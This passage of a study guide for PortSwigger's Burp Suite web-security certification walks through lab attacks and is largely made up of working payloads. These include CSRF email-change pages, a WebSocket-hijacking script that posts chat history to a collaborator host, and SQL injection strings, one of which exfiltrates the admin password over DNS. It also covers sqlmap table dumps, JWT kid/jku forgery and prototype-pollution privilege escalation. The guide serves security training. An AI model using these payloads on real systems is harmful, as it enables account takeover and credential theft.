'/?TARGET.net');` to the **Referer header** in the form of a query string, allow the change email to update. ```html Referrer-Policy: unsafe-url ``` >**Note:** Unlike the normal Referer header spelling, the word **"referrer"** must be spelled correctly in the above `head` section of the exploit server. ![Referer csrf](images/referer-csrf.png) >Create a CSRF proof of concept exploit and host it on the exploit server. Edit the JavaScript so that the third argument of the **history.pushState()** function includes a query string with target URL. ```html <html> <!-- CSRF PoC - CSRF with broken Referer validation --> <body> <script> history.pushState('', '', '/?TARGET.net'); </script> <form action="https://TARGET.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="hacker&#64;exploit&#45;net" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` >When above exploit payload is delivered to victim, the CSRF POC payload changes the victim email to **[email protected]**, because the Referer header contained target in value. In ***BSCP*** exam take not of your ```hacker@exploit``` server email address to use in account takeover. [PortSwigger Lab: CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-broken) ### Referer Header Present >In the update email request when changing the `referer` header the response indicate `Invalid referer header`, ***identifying*** CSRF vulnerability. Using the `<meta name="referrer" content="no-referrer">` as part of the exploit server CSRF PoC this control can be bypassed. This instruct the exploit server to Deliver Exploit to victim without `referer` header. ```html <html> <!-- CSRF PoC - CSRF where Referer validation depends on header being present --> <body> <meta name="referrer" content="no-referrer"> <form action="https://TARGET.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="administrator&#64;EXPLOIT&#46;NET" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` >This is interactive exploit and in BSCP exam if the stage 1 exploit was non interactive then this can be used to obtain administrator interaction by her clicking on the link to change their password. Note to check the `source code` of the change email page for any additional form id values. ![csrf referer present](images/csrf-referer-present.png) [PortSwigger Lab: CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-depends-on-header-being-present) ### LastSearchTerm >***Identify*** the CSRF vulnerability where token not tied to non-session cookie, by changing the **csrfkey** cookie and seeing the result that the request is rejected. Observe the **LastSearchTerm** cookie value containing the user supplied input from the search parameter. ![identify-csrf-non-session-tied.png](images/identify-csrf-non-session-tied.png) >Search function has no CSRF protection, create below payload that injects new line characters ```%0d%0a``` to set new cookie value in response, and use this to inject cookies into the victim user's browser. ``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None ``` >Generate CSRF POC, Enable the option to include an **auto-submit** script and click **Regenerate**. Remove the **auto-submit** script code block and add following instead, and place ```history.pushState``` script code below body header. The **onerror** of the IMG SRC tag will instead submit the CSRF POC. ``` <img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None" onerror="document.forms[0].submit()"> ``` >During BSCP **Exam** set the email change value to that of the exploit server ***[email protected]*** email address. Then you can change the administrator password with the reset function. ![csrf set cookie poc](images/csrf-set-cookie-poc.png) >In the below CSRF PoC code, the hidden csrf value is the one generated by the **change email** function and the csrfkey value in the `img src` is the value of the victim, obtained by logging on as victim provided credentials. not sure in exam but real world this is test to be performed. ```html <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://TARGET.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="hacker&#64;exploit&#45;0a18002e03379f0ccf16180f01180022&#46;exploit&#45;server&#46;net" /> <input type="hidden" name="csrf" value="48hizVRa9oJ1slhOIPljozUAjqDMdplb" /> <input type="submit" value="Submit request" /> </form> <img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrfKey=NvKm20fiUCAySRSHHSgH7hwonb21oVUZ%3b%20SameSite=None" onerror="document.forms[0].submit()"> </body> </html> ``` [PortSwigger Lab: CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie) ### CSRF duplicated in cookie >In the target we ***identify*** that the CSRF key token is duplicated in the cookie value. Another ***indicator*** is the cookie ```LastSearchTerm``` contain the value searched. By giving search value that contain ```%0d%0a``` we can inject an **end of line** and **new line** characters to create new CSRF cookie and value. ![set cookie csrf fake](images/set-cookie-csrf-fake.png) >In the exploit code ```img src``` tag we set cookie for csrf to fake. ```html <html> <body> <form action="https://TARGET.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="ATTACKER&#64;EXPLOIT-SERVER&#46;NET" /> <input type="hidden" name="csrf" value="fake" /> <input type="submit" value="Submit request" /> </form> <img src="https://TARGET.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/> </body> </html> ``` ![csrf duplicated cookie](images/csrf-duplicated-cookie.png) [PortSwigger Lab: CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-duplicated-in-cookie) ### CSRF Token Present >Changing the value of the ```csrf``` parameter result in change email request being **rejected**. Deleting the CSRF token allow the change email to be **accepted**, and this ***identify*** that the validation of token being present is vulnerable. >CSRF PoC Payload hosted on exploit server: ```html <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type="hidden" name="$param1name" value="$param1value"> </form> <script> document.forms[0].submit(); </script> ``` ![csrf present validation fail](images/csrf-present-validation-fail.png) [PortSwigger Lab: CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present) ### Is Logged In >If cookie with the **isloggedin** name is ***identified***, then a refresh of admin password POST request could be exploited. Change username parameter to administrator while logged in as low privilege user, CSRF where token is not tied to user session. ```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close csrf=TOKEN&username=administrator ``` ![CSRF privesc](images/csrf-privesc.png) ### CSRF No Defences >Target with no defences against email change function, can allow the privilege escalation to admin role. In the exam changing the email to the `[email protected]` email address on the exploit server can allow the attacker to change the password of the admin user, resulting in privilege escalation. >In the exam there is only ***one*** active user, and if the previous stage was completed using an attack that did not require the involving of the active user clicking on a link by performing poison cache or performing phishing attack by means of `Deliver to Victim` function, then CSRF change exploit can be used. ![csrf-change-email.png](images/csrf-change-email.png) [PortSwigger Lab: CSRF vulnerability with no defences](https://portswigger.net/web-security/csrf/lab-no-defenses) ### SameSite Strict bypass >In the live chat function, we notice the `GET /chat HTTP/2` request do not use any unpredictable tokens, this can ***identify*** possible [cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) vulnerability if possible to bypass [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) cookie restriction. >Host on exploit server POC payload to ***identify*** CSWSH vulnerability. ``` <script> var ws = new WebSocket('wss://TARGET.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://COLLABORATOR.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script> ``` >The `SameSite=Strict` is set for session cookies and this prevent the browser from including these cookies in XSS cross-site requests. We ***Identify*** the header `Access-Control-Allow-Origin` in additional requests to script and images to a subdomain at `cms-`. >Browsing to this CDN subdomain at `cms-` and then ***identify*** that random user name input is reflected, confirmed this to be a [reflected XSS](https://portswigger.net/web-security/cross-site-scripting/reflected) vulnerability. [cms reflected xss samesite bypass](images/cms-reflected-xss-samesite-bypass.png) ``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass ``` >Bypass the SameSite restrictions, by URL encode the entire script below and using it as the input to the CDN subdomain at `cms-` username login, hosted on exploit server. ``` <script> var ws = new WebSocket('wss://TARGE.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://COLLABORATOR.com', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script> ``` >Host the following on exploit server and deliver to victim, once the collaborator receive the victim chat history with their password, result in account takeover. ``` <script> document.location = "https://cms-TARGET.net/login?username=ENCODED-POC-CSWSH-SCRIPT&password=Peanut2019"; </script> ``` >The chat history contain password for the victim. ![chat-history.png](images/chat-history.png) [PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain) ### SameSite Lax bypass >Observe if you visit `/social-login`, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction., and in proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in. >Bypass the popup blocker, to induce the victim to click on the page and only opens the popup once the victim has clicked, with the following JavaScript. The exploit JavaScript code first refreshes the victim's session by forcing their browser to visit `/social-login`, then submits the email change request after a short pause. Deliver the exploit to the victim. ``` <form method="POST" action="https://TARGET.net/my-account/change-email"> <input type="hidden" name="email" value="[email protected]"> </form> <p>Click anywhere on the page</p> <script> window.onclick = () => { window.open('https://TARGET.net/social-login'); setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } </script> ``` [PortSwigger Lab: SameSite Lax bypass via cookie refresh](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-cookie-refresh) ----- ## Password Reset [Refresh Password broken logic](#refresh-password-broken-logic) [Current Password](#current-password) ### Refresh Password broken logic >If the application [Refresh Password](#subtly-invalid-login) feature is flawed, this vulnerability can be exploited to identify valid accounts or obtain password reset token. This can lead to identifying valid users accounts or privilege escalation. >This is the type of vulnerability that do not require active user on application to interact with the exploit, and without any user clicking on link or interaction. Take note of vulnerabilities that do not require active user on application for the BSCP exam, as this mean in the next stage of the exam it is possible to use for example [other](#cors) interactive phishing links send to victim. >***Identify*** in the `source code` for the `/forgot-password` page the username is a hidden field. ![Password reset hidden username](images/passwoed-reset-hidden-username.png) >Exploit the post request by deleting the ```temp-forgot-password-token``` parameter in both the URL and request body. Change the username parameter to ```carlos```. ![Temp-forgot-password-token](images/temp-forgot-password-token.png) [PortSwigger Lab: Password reset broken logic](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic) ### Current Password >***Identify*** the Change password do not need the ```current-password``` parameter to set a new password, and the **user** whom password will be changed is based on POST parameter ```username=administrator``` >In the PortSwigger labs they provide you the credentials for ```wiener:peter```, and this simulate in the exam stage 1 achieved low level user access. In exam this password reset vulnerability is example of how it is possible without **interaction** from active user to privilege escalate your access to admin. >Intercept the ```/my-account/change-password``` request as the ```csrf``` token is single random use value, set ```username=administrator```, and remove ```current-password``` parameter. ![Change password without current](images/change-password-without-current.png) [PortSwigger Lab: Weak isolation on dual-use endpoint](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint) ----- ## SQL Injection [Blind Time Delay](#blind-time-delay) [Blind SQLi](#blind-sqli) [Blind SQLi no indication](#blind-sqli-no-indication) [Blind SQLi Conditional Response](#blind-sqli-conditional-response) [Oracle](#oracle) [SQLMAP](#sqlmap) [Non-Oracle Manual SQLi](#non-oracle-manual-sqli) [Visual error-based SQLi](#visual-error-based-sqli) [HackTheBox CPTS SQLi Fundamentals](https://github.com/botesjuan/cpts-quick-references/blob/main/module/SQL%20Injection%20Fundamentals.md) >Error based or Blind SQL injection vulnerabilities, allow SQL queries in an application to be used to extract data or login credentials from the database. SQLMAP is used to fast track the exploit and retrieve the sensitive information. >***Identify*** SQLi, by adding a double (") or single quote (') to web parameters or tracking cookies, if this break the SQL syntax resulting in error message response, then positive SQL injection ***identified***. If no error or conditional message observed test blind [Time delays](https://portswigger.net/web-security/sql-injection/cheat-sheet) payloads. [SQL Injection cheat sheet examples](https://portswigger.net/web-security/sql-injection/cheat-sheet) ![Identify the input parameter vulnerable to SQL injection](images/identify-sqli-parameter.png) ### Blind Time Delay >Blind SQL injection with time delays is tricky to ***identify***, fuzzing involves educated guessing as OffSec also taught me in OSCP. The below payload will perform conditional case to delay the response by 10 seconds if positive SQL injection ***identified***. >Identify SQLi vulnerability. In [Burp Practice exam Stage 2](https://portswigger.net/web-security/certification/takepracticeexam/index.html) the advance search filters are vulnerable to `PostgreSQL`. I found `SQLMAP` tricky to identify and exploit the practice exam vulnerability in advance search. Manual exploit of the SQL injection time delay in [Practice Exam here](#practice-exam-postgresql-timedelay). ```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END-- ``` >[URL encoded](https://www.urlencoder.org/) `PostgreSQL` payload. ```SQL '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END-- ``` >Determine how many characters are in the password of the administrator user. To do this, increment the number after ` >1 ` conditional check. ```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ``` ![blind-time-delay SQLi](images/blind-time-delay.png) >Using CLUSTER Bomb attack to re-run the attack for each permutation of the character positions in the password, and to determine character value. ```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ``` >Using CLUSTER bomb attack type with two payload, first for the length of the password ` 1..20 ` and then second using characters ` a..z ` and numbers ` 0..9 `. Add the **Response Received** column to the intruder attack results to sort by and observe the ` 10 ` seconds or more delay as positive response. ![blind CLUSTER bomb SQLi](images/blind-cluster-bomb.png) [PortSwigger Lab: Blind SQL injection with time delays and information retrieval](https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval) #### Practice Exam PostgreSQL TimeDelay >In the Burp Practice exam stage 2 the SQL injection is escaped not using single quote ` ' ` but using a semicolon `;` and then URL encoding it as `%3B`. ```SQL %3BSELECT+pg_sleep(7)-- ``` ![practice exam stage-2 time delay sqli](images/practice-exam-stage-2-timedelay-sqli.png) >With a Intruder CLUSTER bomb attack the password can be extracted in one single attack with two payload positions in the below payload. ```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users-- ``` >Stage 3 of the Burp Practice exam admin portal require exploitation of an [insecure deserialization](#ysoserial) cookie value. ### Blind SQLi >Target is vulnerable to Out of band data exfiltration using Blind SQL exploitation query. In this case the trackingID cookie. Below is combination of SQL injection and XXE payload to exploit the vulnerability and send administrator password as DNS request to the collaborator service. ```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.COLLABORATOR.NET/">+%25remote%3b]>'),'/l')+FROM+dual-- ``` ![Blind SQL injection with out-of-band data exfil](images/blind-SQL-injection-out-of-band-exfil.png) [PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration) >The SQL payload above can also be used to extract the Administrator password for the this [PortSwigger Lab: Blind SQL injection with conditional errors](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) challenge. ### Blind SQLi no indication >Placing a single quote at end of the ```trackingid``` cookie or search parameter `/search_advanced?searchTerm='` may give response `500 Internal Server Error`. Make an educated guess, by using below blind SQLi payload and combine with basic XXE technique, this then makes a call to collaboration server but no data is ex-filtrated. ```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//COLLABORATOR.NET/">+%25remote%3b]>'),'/l')+FROM+dual-- ``` ![SQLi XXE](images/sqli-XXE.png) >Additional SQLi payload with XML for reference with ```||``` the SQL concatenation operator to concatenate two expressions that evaluate two character data types or to numeric data type and do some obfuscating. ``` '||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % fuzz SYSTEM "http://Collaborat'||'OR.COM/">%fuzz;]>'),'/l') from dual)||' ``` [OAST - Out-of-band Application Security Testing](https://portswigger.net/burp/application-security-testing/oast) [PortSwigger Lab: Blind SQL injection with out-of-band interaction](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band) ### Blind SQLi Conditional Response >This blind SQL injection is ***identified*** by a small message difference in the responses. When sending a valid true SQL query the response contain ```Welcome back``` string in response. Invalid false SQL query statement do not contain the response conditional message. ``` ' AND '1'='1 ``` >False SQL statement to ***identify*** conditional message not in response. ``` ' AND '1'='2 ``` >Determine how many characters are in the password of the administrator user. To do this, change the SQL statement value to and in intruder **Settings tab**, at the "Grep - Match" section. Clear any existing entries in the list, and then add the value ```Welcome back``` to ***identify*** true condition. ``` ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a ``` >Next step is to test the character at each position to determine its value. This involves a much larger number of requests. ``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a ``` ![sqli conditional response](images/sqli-conditional-response.png) >Alternative use a **CLUSTER Bomb** attack and setting **two** payload positions, first one for the character position with a payload of numbers ```1..20``` and the second position, using alpha and number characters, this will iterate through each permutation of payload combinations. ![CLUSTER bomb](images/cluster-bomb.png) [PortSwigger Lab: Blind SQL injection with conditional responses](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses) ### Oracle >Identified SQL injection by adding a **single quote** to the end of the `category` parameter value and observing response of `500 Internal Server Error`. >Retrieve the list of tables in the Oracle database: ``` '+UNION+SELECT+table_name,NULL+FROM+all_tables-- ``` >Oracle payload to retrieve the details of the columns in the table. ``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'-- ``` >Oracle payload to retrieve the usernames and passwords from Users_XXX table. ``` '+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX-- ``` [PortSwigger Lab: SQL injection attack, listing the database contents on Oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle) ### SQLMAP >In the [PortSwigger Practice Exam APP](https://portswigger.net/web-security/certification/takepracticeexam/index.html) we ***identify*** SQLi on the advance search function by adding a single quote and the response result in `HTTP/2 500 Internal Server Error`. >Here is my HackTheBox CPTS study notes on SQLMAP examples to bypass primitive protection WAF mechanisms. [SQLMAP Essentials - Cases](https://github.com/botesjuan/cpts-quick-references/blob/main/module/sqlmap%20Essentials.md#exercise-cases) >After doing some testing with SQLMAP versions `1.7.2#stable` and `1.6`, I found that both are able to exploit the PortSwigger Practice exam. Walkthrough from [bmdyy doing the Practice Exam using SQLMAP](https://youtu.be/yC0F05oggTE?t=563) for reference of the parameters used. [PortSwigger Forum thread - SQLMAP](https://forum.portswigger.net/thread/stage-2-of-practice-exam-with-sqlmap-1-7-2-2078f927) >I took the practice exam and was able to exploit SQLi using below payload. ``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net' \ -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \ -H 'accept-language: en-US,en;q=0.9' \ -H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes' \ -H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"' \ -H 'sec-ch-ua-mobile: ?0' \ -H 'sec-ch-ua-platform: "Linux"' \ -H 'sec-fetch-dest: document' \ -H 'sec-fetch-mode: navigate' \ -H 'sec-fetch-site: same-origin' \ -H 'sec-fetch-user: ?1' \ -H 'upgrade-insecure-requests: 1' \ -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \ -p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5 ``` ![SQLMAP used to dump data from tables](images/sqlmap-dump-table-data.png) >This is also a good start with SQLMAP to ***identify*** and extract data from a sensitive error based time delay SQL injection in advance search filters on the exam. ``` sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2 ``` ![sqlmap 1.7.2 stable](images/2023-03-21_18-20_1.png) [SQLMAP Help usage](https://github.com/sqlmapproject/sqlmap/wiki/Usage) >SQLMAP DBS to get databases. ``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs ``` >Use SQLMAP dump tables identified from `public` database. ``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables ``` >ContinueUse SQLMAP `E` Technique to get the `users` content. ``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump ``` ### Non-Oracle Manual SQLi >SQL injection UNION attack, determining the **number of columns** returned by the query. ```SQL '+UNION+SELECT+NULL,NULL-- ``` >Determined there is **two** columns returned. Finding a column containing ```text```, to be used for reflecting information extracted. ```SQL '+UNION+SELECT+'fuzzer',NULL-- ``` >Next ***identifying*** a list of **tables** in the database. ```SQL '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- ``` >**OPTIONAL:** Retrieve data from other tables, use code below payload to retrieve the contents of the ```users``` table. ```SQL '+UNION+SELECT+username,+password+FROM+users-- ``` >Retrieve the names of the **columns** in the ***users*** table. ```SQL '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'-- ``` >**Final** step is to the **dump data** from the username and passwords columns. ```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX-- ``` >**EXTRA:** If you only have one column to extract text data, then concatenate multiple values in a single reflected output field using SQL syntax ```||``` characters from the database. ``` '+UNION+SELECT+NULL,username||'~'||password+FROM+users-- ``` ![manual-sqli.png](images/manual-sqli.png) [PortSwigger Lab: SQL injection attack, listing the database contents on non-Oracle databases](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle) ### Visual error-based SQLi >Adding a single quote to the end of the `TrackingId` cookie value, we can ***identify*** and confirm the SQL Injection based on the message in the response. ![identify-visual-error-based-sqli.png](images/identify-visual-error-based-sqli.png) >The two payloads validate administrator record is the first record, and then to retrieve the password for the Administrator account from the `user` table in the database, from the columns `username` and `password`. ``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--; TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--; ``` >Due to the cookie value length limit the payload is shortened by using `limit 1`, and the actual cookie value replace with just a letter `x`. SQL Injection used the [CAST function](https://portswigger.net/web-security/sql-injection/blind). ![SQL Injection CAST function](images/SQL-Injection-CAST-function.png) [PortSwigger Lab: Visible error-based SQL injection](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based) ----- ## JWT [JWT bypass via JWK](#manual-sqli) [JWT Weak secret](#jwt-weak-secret) [JWT kid header](#jwt-kid-header) [JWT arbitrary jku header](#jwt-arbitrary-jku-header) >JSON web tokens (JWTs) use to send cryptographically signed JSON data, and most commonly used to send information ("claims") about users as part of authentication, session handling, and access control. ### JWT bypass via JWK >The burp scanner ***identify*** vulnerability in server as, **JWT self-signed JWK header supported**. Possible to exploit it through failed check of the provided key source. >**jwk (JSON Web Key)** - Provides an embedded JSON object representing the key. >Authentication bypass Exploit steps via jwk header injection: 1. New RSA Key 2. In request JWT payload, change the value of the **sub claim** to administrator 3. Select Attack, then select **Embedded JWK** with newly generated RSA key 4. Observe a ```jwk``` parameter now contain our public key, sending request result in access to admin portal ![jwk header](images/jwk-header.png) [PortSwigger Lab: JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection) ### JWT Weak secret >Brute force weak JWT signing key using `hashcat`. ```bash hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list ``` >Hashcat result provide the secret, to be used to generate a forged signing key. [PortSwigger JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key) ### JWT kid header >JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the `kid` parameter in JWT header to fetch the relevant key from its file system. Generate a new **Symmetric Key** and replace ` k ` property with the base64 null byte `AA==`, to be used when signing the JWT. >**kid (Key ID)** - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. >JWS ``` { "kid": "../../../../../../../dev/null", "alg": "HS256" } ``` >Payload ``` { "iss": "portswigger", "sub": "administrator", "exp": 1673523674 } ``` ![jwt](images/jwt.png) [PortSwigger Lab: JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal) ### JWT arbitrary jku header >Burp scanner identified vulnerability stating the application appears to trust the `jku` header of the JWT found in the manual insertion point. It fetched a public key from an arbitrary URL provided in this header and attempted to use it to verify the signature. >**jku (JSON Web Key Set URL)** - Provides a URL from which servers can fetch keys containing the correct key. >Exploit steps to Upload a malicious JWK Set, then Modify and sign the JWT: 1. Generate **New RSA Key pair** automatically, and ignore the size. 2. On the exploit server body create **empty JWK** ` { "keys": [ ] } `. 3. **Copy Public Key as JWK** from the new RSA key pair generate in previous step, in between the exploit body square brackets ` [ paste ] `. 4. Copy kid value of generate RSA key into the `/admin` request JWT header `kid` value. 5. Set new ```jku``` parameter to the value of the exploit server URL `https://exploit-server.net/exploit`. 6. Change JWT payload value of the ```sub``` claim to `administrator`. 7. On the `/admin` request in repeat, at bottom of the JSON Web Token tab, click `Sign`. 8. On Sign option, then select the `RSA signing key` that was generated in the previous steps. 9. Send request, and gain access to admin portal. ![jwt-jku-header-setup.png](images/jwt-jku-header-setup.png) >The exploit server hosting the JWK public key content. ```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV <snip> F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]} ``` ![jwt-jku-header-exploit-server.png](images/jwt-jku-header-exploit-server.png) [PortSwigger Lab: JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection) ----- ## ProtoType Pollution >Attacker add arbitrary properties to global JavaScript object prototypes, which is inherited by user-defined objects that lead to client-side DOM XSS or server-side code execution. [Client-Side Proto](#client-side-proto) [Server-Side Proto](#server-side-proto) [Dom Invader Enable Prototype Pollution](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution) ### Client-Side Proto >A target is vulnerable to DOM XSS via client side prototype pollution. **[DOM Invader](#dom-invader)** will ***identify*** the gadget and using a hosted payload to performing phishing directed at the victim and steal their cookie. >Exploit server Body section, host an exploit that will navigate the victim to a malicious URL. ```html <script> location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29" </script> ``` ![Proto pollution](images/proto-pollution.png) >Above image show the **Deliver to Victim** phishing request being send. [PortSwigger Lab: Client-side prototype pollution in third-party libraries](https://portswigger.net/web-security/prototype-pollution/finding/lab-prototype-pollution-client-side-prototype-pollution-in-third-party-libraries) ![Proto pollution](images/proto-pollution.png) ### Server-Side Proto >To ***identify*** Proto pollution, insert the follow into a JSON post request when updating a user profile information authenticated as low privileged role. >See instruction video by [Trevor TJCHacking](https://youtu.be/oYAxbRiB0Jk) about PrivEsc via server-side prototype pollution. ```JSON "__proto__": { "foo":"bar" } ``` ![identify __proto__](images/identify__proto__.png) >Observe the ```isAdmin``` property and resend the POST update account with the ```__proto__``` payload below to elevate our access role to Administrator. ```JSON "__proto__": { "isAdmin":true } ``` [PortSwigger Lab: Privilege escalation via server-side prototype pollution](https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution) ----- ## Access Control [JSON roleid PrivEsc](#privesc-json-roleid) [Original URL](#original-url) [Drop Select a role](#drop-select-a-role) [Trace to Admin](#trace-to-admin) [HTB requested I remove my write-up for CPTS Skills assessments - IDOR](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Web-Attacks.md#idor) ### PrivEsc JSON RoleId >Access control to the admin interface is based on user roles, and this can lead to privilege escalation or access control (IDOR) security vulnerability. >Capture current logged in user email change email submission request and send to **Intruder**, then add `"roleid":§32§` into the JSON body of the request, and fuzz the possible `roleid` value for administrator access role. ```html POST /my-account/change-email HTTP/1.1 Host: TARGET.net Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW Content-Length: 48 User-Agent: 